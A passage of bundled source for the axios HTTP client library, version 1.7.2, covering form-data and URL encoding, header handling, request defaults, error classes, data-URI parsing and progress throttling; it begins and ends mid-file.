no-eq-null,eqeqeq\n return !utils.isUndefined(source[option]);\n });\n\n const metaTokens = options.metaTokens;\n // eslint-disable-next-line no-use-before-define\n const visitor = options.visitor || defaultVisitor;\n const dots = options.dots;\n const indexes = options.indexes;\n const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n if (!utils.isFunction(visitor)) {\n throw new TypeError('visitor must be a function');\n }\n\n function convertValue(value) {\n if (value === null) return '';\n\n if (utils.isDate(value)) {\n return value.toISOString();\n }\n\n if (!useBlob && utils.isBlob(value)) {\n throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n }\n\n if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n }\n\n return value;\n }\n\n /**\n * Default visitor.\n *\n * @param {*} value\n * @param {String|Number} key\n * @param {Array<String|Number>} path\n * @this {FormData}\n *\n * @returns {boolean} return true to visit the each prop of the value recursively\n */\n function defaultVisitor(value, key, path) {\n let arr = value;\n\n if (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n } else if (\n (utils.isArray(value) && isFlatArray(value)) ||\n ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n )) {\n // eslint-disable-next-line no-param-reassign\n key = removeBrackets(key);\n\n arr.forEach(function each(el, index) {\n !(utils.isUndefined(el) || el === null) && formData.append(\n // eslint-disable-next-line no-nested-ternary\n indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n convertValue(el)\n );\n });\n return false;\n }\n }\n\n if (isVisitable(value)) {\n return true;\n }\n\n formData.append(renderKey(path, key, dots), convertValue(value));\n\n return false;\n }\n\n const stack = [];\n\n const exposedHelpers = Object.assign(predicates, {\n defaultVisitor,\n convertValue,\n isVisitable\n });\n\n function build(value, path) {\n if (utils.isUndefined(value)) return;\n\n if (stack.indexOf(value) !== -1) {\n throw Error('Circular reference detected in ' + path.join('.'));\n }\n\n stack.push(value);\n\n utils.forEach(value, function each(el, key) {\n const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n );\n\n if (result === true) {\n build(el, path ? path.concat(key) : [key]);\n }\n });\n\n stack.pop();\n }\n\n if (!utils.isObject(obj)) {\n throw new TypeError('data must be an object');\n }\n\n build(obj);\n\n return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n const charMap = {\n '!': '%21',\n \"'\": '%27',\n '(': '%28',\n ')': '%29',\n '~': '%7E',\n '%20': '+',\n '%00': '\\x00'\n };\n return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n return charMap[match];\n });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n this._pairs = [];\n\n params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n const _encode = encoder ? function(value) {\n return encoder.call(this, value, encode);\n } : encode;\n\n return this._pairs.map(function each(pair) {\n return _encode(pair[0]) + '=' + _encode(pair[1]);\n }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n return encodeURIComponent(val).\n replace(/%3A/gi, ':').\n replace(/%24/g, '$').\n replace(/%2C/gi, ',').\n replace(/%20/g, '+').\n replace(/%5B/gi, '[').\n replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n /*eslint no-param-reassign:0*/\n if (!params) {\n return url;\n }\n \n const _encode = options && options.encode || encode;\n\n const serializeFn = options && options.serialize;\n\n let serializedParams;\n\n if (serializeFn) {\n serializedParams = serializeFn(params, options);\n } else {\n serializedParams = utils.isURLSearchParams(params) ?\n params.toString() :\n new AxiosURLSearchParams(params, options).toString(_encode);\n }\n\n if (serializedParams) {\n const hashmarkIndex = url.indexOf(\"#\");\n\n if (hashmarkIndex !== -1) {\n url = url.slice(0, hashmarkIndex);\n }\n url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n }\n\n return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n constructor() {\n this.handlers = [];\n }\n\n /**\n * Add a new interceptor to the stack\n *\n * @param {Function} fulfilled The function to handle `then` for a `Promise`\n * @param {Function} rejected The function to handle `reject` for a `Promise`\n *\n * @return {Number} An ID used to remove interceptor later\n */\n use(fulfilled, rejected, options) {\n this.handlers.push({\n fulfilled,\n rejected,\n synchronous: options ? options.synchronous : false,\n runWhen: options ? options.runWhen : null\n });\n return this.handlers.length - 1;\n }\n\n /**\n * Remove an interceptor from the stack\n *\n * @param {Number} id The ID that was returned by `use`\n *\n * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n */\n eject(id) {\n if (this.handlers[id]) {\n this.handlers[id] = null;\n }\n }\n\n /**\n * Clear all interceptors from the stack\n *\n * @returns {void}\n */\n clear() {\n if (this.handlers) {\n this.handlers = [];\n }\n }\n\n /**\n * Iterate over all the registered interceptors\n *\n * This method is particularly useful for skipping over any\n * interceptors that may have become `null` calling `eject`.\n *\n * @param {Function} fn The function to call for each interceptor\n *\n * @returns {void}\n */\n forEach(fn) {\n utils.forEach(this.handlers, function forEachHandler(h) {\n if (h !== null) {\n fn(h);\n }\n });\n }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n silentJSONParsing: true,\n forcedJSONParsing: true,\n clarifyTimeoutError: false\n};\n","'use strict';\n\nimport url from 'url';\nexport default url.URLSearchParams;\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\n\nexport default {\n isNode: true,\n classes: {\n URLSearchParams,\n FormData,\n Blob: typeof Blob !== 'undefined' && Blob || null\n },\n protocols: [ 'http', 'https', 'file', 'data' ]\n};\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n * typeof window -> undefined\n * typeof document -> undefined\n *\n * react-native:\n * navigator.product -> 'ReactNative'\n * nativescript\n * navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n (product) => {\n return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n return (\n typeof WorkerGlobalScope !== 'undefined' &&\n // eslint-disable-next-line no-undef\n self instanceof WorkerGlobalScope &&\n typeof self.importScripts === 'function'\n );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n hasBrowserEnv,\n hasStandardBrowserWebWorkerEnv,\n hasStandardBrowserEnv,\n origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n ...utils,\n ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n visitor: function(value, key, path, helpers) {\n if (platform.isNode && utils.isBuffer(value)) {\n this.append(key, value.toString('base64'));\n return false;\n }\n\n return helpers.defaultVisitor.apply(this, arguments);\n }\n }, options));\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n // foo[x][y][z]\n // foo.x.y.z\n // foo-x-y-z\n // foo x y z\n return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n return match[0] === '[]' ? '' : match[1] || match[0];\n });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n const obj = {};\n const keys = Object.keys(arr);\n let i;\n const len = keys.length;\n let key;\n for (i = 0; i < len; i++) {\n key = keys[i];\n obj[key] = arr[key];\n }\n return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n function buildPath(path, value, target, index) {\n let name = path[index++];\n\n if (name === '__proto__') return true;\n\n const isNumericKey = Number.isFinite(+name);\n const isLast = index >= path.length;\n name = !name && utils.isArray(target) ? target.length : name;\n\n if (isLast) {\n if (utils.hasOwnProp(target, name)) {\n target[name] = [target[name], value];\n } else {\n target[name] = value;\n }\n\n return !isNumericKey;\n }\n\n if (!target[name] || !utils.isObject(target[name])) {\n target[name] = [];\n }\n\n const result = buildPath(path, value, target[name], index);\n\n if (result && utils.isArray(target[name])) {\n target[name] = arrayToObject(target[name]);\n }\n\n return !isNumericKey;\n }\n\n if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n const obj = {};\n\n utils.forEachEntry(formData, (name, value) => {\n buildPath(parsePropPath(name), value, obj, 0);\n });\n\n return obj;\n }\n\n return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n if (utils.isString(rawValue)) {\n try {\n (parser || JSON.parse)(rawValue);\n return utils.trim(rawValue);\n } catch (e) {\n if (e.name !== 'SyntaxError') {\n throw e;\n }\n }\n }\n\n return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n transitional: transitionalDefaults,\n\n adapter: ['xhr', 'http', 'fetch'],\n\n transformRequest: [function transformRequest(data, headers) {\n const contentType = headers.getContentType() || '';\n const hasJSONContentType = contentType.indexOf('application/json') > -1;\n const isObjectPayload = utils.isObject(data);\n\n if (isObjectPayload && utils.isHTMLForm(data)) {\n data = new FormData(data);\n }\n\n const isFormData = utils.isFormData(data);\n\n if (isFormData) {\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n }\n\n if (utils.isArrayBuffer(data) ||\n utils.isBuffer(data) ||\n utils.isStream(data) ||\n utils.isFile(data) ||\n utils.isBlob(data) ||\n utils.isReadableStream(data)\n ) {\n return data;\n }\n if (utils.isArrayBufferView(data)) {\n return data.buffer;\n }\n if (utils.isURLSearchParams(data)) {\n headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n return data.toString();\n }\n\n let isFileList;\n\n if (isObjectPayload) {\n if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n return toURLEncodedForm(data, this.formSerializer).toString();\n }\n\n if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n const _FormData = this.env && this.env.FormData;\n\n return toFormData(\n isFileList ? {'files[]': data} : data,\n _FormData && new _FormData(),\n this.formSerializer\n );\n }\n }\n\n if (isObjectPayload || hasJSONContentType ) {\n headers.setContentType('application/json', false);\n return stringifySafely(data);\n }\n\n return data;\n }],\n\n transformResponse: [function transformResponse(data) {\n const transitional = this.transitional || defaults.transitional;\n const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n const JSONRequested = this.responseType === 'json';\n\n if (utils.isResponse(data) || utils.isReadableStream(data)) {\n return data;\n }\n\n if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n const silentJSONParsing = transitional && transitional.silentJSONParsing;\n const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n try {\n return JSON.parse(data);\n } catch (e) {\n if (strictJSONParsing) {\n if (e.name === 'SyntaxError') {\n throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n }\n throw e;\n }\n }\n }\n\n return data;\n }],\n\n /**\n * A timeout in milliseconds to abort a request. If set to 0 (default) a\n * timeout is not created.\n */\n timeout: 0,\n\n xsrfCookieName: 'XSRF-TOKEN',\n xsrfHeaderName: 'X-XSRF-TOKEN',\n\n maxContentLength: -1,\n maxBodyLength: -1,\n\n env: {\n FormData: platform.classes.FormData,\n Blob: platform.classes.Blob\n },\n\n validateStatus: function validateStatus(status) {\n return status >= 200 && status < 300;\n },\n\n headers: {\n common: {\n 'Accept': 'application/json, text/plain, */*',\n 'Content-Type': undefined\n }\n }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n 'age', 'authorization', 'content-length', 'content-type', 'etag',\n 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n 'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n 'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n const parsed = {};\n let key;\n let val;\n let i;\n\n rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n i = line.indexOf(':');\n key = line.substring(0, i).trim().toLowerCase();\n val = line.substring(i + 1).trim();\n\n if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n return;\n }\n\n if (key === 'set-cookie') {\n if (parsed[key]) {\n parsed[key].push(val);\n } else {\n parsed[key] = [val];\n }\n } else {\n parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n }\n });\n\n return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n if (value === false || value == null) {\n return value;\n }\n\n return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n const tokens = Object.create(null);\n const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n let match;\n\n while ((match = tokensRE.exec(str))) {\n tokens[match[1]] = match[2];\n }\n\n return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n if (utils.isFunction(filter)) {\n return filter.call(this, value, header);\n }\n\n if (isHeaderNameFilter) {\n value = header;\n }\n\n if (!utils.isString(value)) return;\n\n if (utils.isString(filter)) {\n return value.indexOf(filter) !== -1;\n }\n\n if (utils.isRegExp(filter)) {\n return filter.test(value);\n }\n}\n\nfunction formatHeader(header) {\n return header.trim()\n .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n return char.toUpperCase() + str;\n });\n}\n\nfunction buildAccessors(obj, header) {\n const accessorName = utils.toCamelCase(' ' + header);\n\n ['get', 'set', 'has'].forEach(methodName => {\n Object.defineProperty(obj, methodName + accessorName, {\n value: function(arg1, arg2, arg3) {\n return this[methodName].call(this, header, arg1, arg2, arg3);\n },\n configurable: true\n });\n });\n}\n\nclass AxiosHeaders {\n constructor(headers) {\n headers && this.set(headers);\n }\n\n set(header, valueOrRewrite, rewrite) {\n const self = this;\n\n function setHeader(_value, _header, _rewrite) {\n const lHeader = normalizeHeader(_header);\n\n if (!lHeader) {\n throw new Error('header name must be a non-empty string');\n }\n\n const key = utils.findKey(self, lHeader);\n\n if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n self[key || _header] = normalizeValue(_value);\n }\n }\n\n const setHeaders = (headers, _rewrite) =>\n utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n if (utils.isPlainObject(header) || header instanceof this.constructor) {\n setHeaders(header, valueOrRewrite)\n } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n setHeaders(parseHeaders(header), valueOrRewrite);\n } else if (utils.isHeaders(header)) {\n for (const [key, value] of header.entries()) {\n setHeader(value, key, rewrite);\n }\n } else {\n header != null && setHeader(valueOrRewrite, header, rewrite);\n }\n\n return this;\n }\n\n get(header, parser) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n if (key) {\n const value = this[key];\n\n if (!parser) {\n return value;\n }\n\n if (parser === true) {\n return parseTokens(value);\n }\n\n if (utils.isFunction(parser)) {\n return parser.call(this, value, key);\n }\n\n if (utils.isRegExp(parser)) {\n return parser.exec(value);\n }\n\n throw new TypeError('parser must be boolean|regexp|function');\n }\n }\n }\n\n has(header, matcher) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n }\n\n return false;\n }\n\n delete(header, matcher) {\n const self = this;\n let deleted = false;\n\n function deleteHeader(_header) {\n _header = normalizeHeader(_header);\n\n if (_header) {\n const key = utils.findKey(self, _header);\n\n if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n delete self[key];\n\n deleted = true;\n }\n }\n }\n\n if (utils.isArray(header)) {\n header.forEach(deleteHeader);\n } else {\n deleteHeader(header);\n }\n\n return deleted;\n }\n\n clear(matcher) {\n const keys = Object.keys(this);\n let i = keys.length;\n let deleted = false;\n\n while (i--) {\n const key = keys[i];\n if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n delete this[key];\n deleted = true;\n }\n }\n\n return deleted;\n }\n\n normalize(format) {\n const self = this;\n const headers = {};\n\n utils.forEach(this, (value, header) => {\n const key = utils.findKey(headers, header);\n\n if (key) {\n self[key] = normalizeValue(value);\n delete self[header];\n return;\n }\n\n const normalized = format ? formatHeader(header) : String(header).trim();\n\n if (normalized !== header) {\n delete self[header];\n }\n\n self[normalized] = normalizeValue(value);\n\n headers[normalized] = true;\n });\n\n return this;\n }\n\n concat(...targets) {\n return this.constructor.concat(this, ...targets);\n }\n\n toJSON(asStrings) {\n const obj = Object.create(null);\n\n utils.forEach(this, (value, header) => {\n value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n });\n\n return obj;\n }\n\n [Symbol.iterator]() {\n return Object.entries(this.toJSON())[Symbol.iterator]();\n }\n\n toString() {\n return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n }\n\n get [Symbol.toStringTag]() {\n return 'AxiosHeaders';\n }\n\n static from(thing) {\n return thing instanceof this ? thing : new this(thing);\n }\n\n static concat(first, ...targets) {\n const computed = new this(first);\n\n targets.forEach((target) => computed.set(target));\n\n return computed;\n }\n\n static accessor(header) {\n const internals = this[$internals] = (this[$internals] = {\n accessors: {}\n });\n\n const accessors = internals.accessors;\n const prototype = this.prototype;\n\n function defineAccessor(_header) {\n const lHeader = normalizeHeader(_header);\n\n if (!accessors[lHeader]) {\n buildAccessors(prototype, _header);\n accessors[lHeader] = true;\n }\n }\n\n utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n return this;\n }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n return {\n get: () => value,\n set(headerValue) {\n this[mapped] = headerValue;\n }\n }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n const config = this || defaults;\n const context = response || config;\n const headers = AxiosHeaders.from(context.headers);\n let data = context.data;\n\n utils.forEach(fns, function transform(fn) {\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n });\n\n headers.normalize();\n\n return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n const validateStatus = response.config.validateStatus;\n if (!response.status || !validateStatus || validateStatus(response.status)) {\n resolve(response);\n } else {\n reject(new AxiosError(\n 'Request failed with status code ' + response.status,\n [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n response.config,\n response.request,\n response\n ));\n }\n}\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n // by any combination of letters, digits, plus, period, or hyphen.\n return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n return relativeURL\n ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n : baseURL;\n}\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n if (baseURL && !isAbsoluteURL(requestedURL)) {\n return combineURLs(baseURL, requestedURL);\n }\n return requestedURL;\n}\n","export const VERSION = \"1.7.2\";","'use strict';\n\nexport default function parseProtocol(url) {\n const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n return match && match[1] || '';\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport parseProtocol from './parseProtocol.js';\nimport platform from '../platform/index.js';\n\nconst DATA_URL_PATTERN = /^(?:([^;]+);)?(?:[^;]+;)?(base64|),([\\s\\S]*)$/;\n\n/**\n * Parse data uri to a Buffer or Blob\n *\n * @param {String} uri\n * @param {?Boolean} asBlob\n * @param {?Object} options\n * @param {?Function} options.Blob\n *\n * @returns {Buffer|Blob}\n */\nexport default function fromDataURI(uri, asBlob, options) {\n const _Blob = options && options.Blob || platform.classes.Blob;\n const protocol = parseProtocol(uri);\n\n if (asBlob === undefined && _Blob) {\n asBlob = true;\n }\n\n if (protocol === 'data') {\n uri = protocol.length ? uri.slice(protocol.length + 1) : uri;\n\n const match = DATA_URL_PATTERN.exec(uri);\n\n if (!match) {\n throw new AxiosError('Invalid URL', AxiosError.ERR_INVALID_URL);\n }\n\n const mime = match[1];\n const isBase64 = match[2];\n const body = match[3];\n const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');\n\n if (asBlob) {\n if (!_Blob) {\n throw new AxiosError('Blob is not supported', AxiosError.ERR_NOT_SUPPORT);\n }\n\n return new _Blob([buffer], {type: mime});\n }\n\n return buffer;\n }\n\n throw new AxiosError('Unsupported protocol ' + protocol, AxiosError.ERR_NOT_SUPPORT);\n}\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n let timestamp = 0;\n const threshold = 1000 / freq;\n let timer = null;\n return function throttled() {\n const force = this === true;\n\n const now = Date.now();\n if (force || now - timestamp > threshold) {\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n timestamp = now;\n return fn.apply(null, arguments);\n }\n if (!timer) {\n timer = setTimeout(() => {\n timer = null;\n timestamp = Date.now();\n return fn.apply(null, arguments);\n }, threshold - (now - timestamp));\n }\n };\n}\n\nexport default throttle;\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n samplesCount = samplesCount || 10;\n const bytes = new Array(samplesCount);\n const timestamps = new Array(samplesCount);\n let head = 0;\n let tail = 0;\n let firstSampleTS;\n\n min = min !== undefined ? min : 1000;\n\n return function push(chunkLength) {\n const now = Date.now();\n\n const startedAt = timestamps[tail];\n\n if (!firstSampleTS) {\n firstSampleTS = now;\n }\n\n bytes[head] = chunkLength;\n timestamps[head] = now;\n\n let i = tail;\n let bytesCount = 0;\n\n while (i !== head) {\n bytesCount += bytes[i++];\n i = i % samplesCount;\n }\n\n head = (head + 1) % samplesCount;\n\n if (head === tail) {\n tail = (tail + 1) % samplesCount;\n }\n\n if (now - firstSampleTS < min) {\n return;\n }\n\n const passed = startedAt && now - startedAt;\n\n return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n };\n}\n\nexport default speedometer;\n","'use strict';\n\nimport stream from 'stream';\nimport utils from '../utils.js';\nimport throttle from './throttle.js';\nimport speedometer from './speedometer.js';\n\nconst kInternals = Symbol('internals');\n\nclass AxiosTransformStream extends stream.Transform{\n constructor(options) {\n options = utils.toFlatObject(options, {\n maxRate: 0,\n chunkSize: 64 * 1024,\n minChunkSize: 100,\n timeWindow: 500,\n ticksRate: 2,\n samplesCount: 15\n }, null, (prop, source) => {\n return !utils.isUndefined(source[prop]);\n });\n\n super({\n readableHighWaterMark: options.chunkSize\n });\n\n const self = this;\n\n const internals = this[kInternals] = {\n length: options.length,\n timeWindow: options.timeWindow,\n ticksRate: options.ticksRate,\n chunkSize: options.chunkSize,\n maxRate: options.maxRate,\n minChunkSize: options.minChunkSize,\n bytesSeen: 0,\n isCaptured: false,\n notifiedBytesLoaded: 0,\n ts: Date.now(),\n bytes: 0,\n onReadCallback: null\n };\n\n const _speedometer = speedometer(internals.ticksRate * options.samplesCount, internals.timeWindow);\n\n this.on('newListener', event => {\n if (event === 'progress') {\n if (!internals.isCaptured) {\n internals.isCaptured = true;\n }\n }\n });\n\n let bytesNotified = 0;\n\n internals.updateProgress = throttle(function throttledHandler() {\n const totalBytes = internals.length;\n const bytesTransferred = internals.bytesSeen;\n const progressBytes = bytesTransferred - bytesNotified;\n if (!progressBytes || self.destroyed) 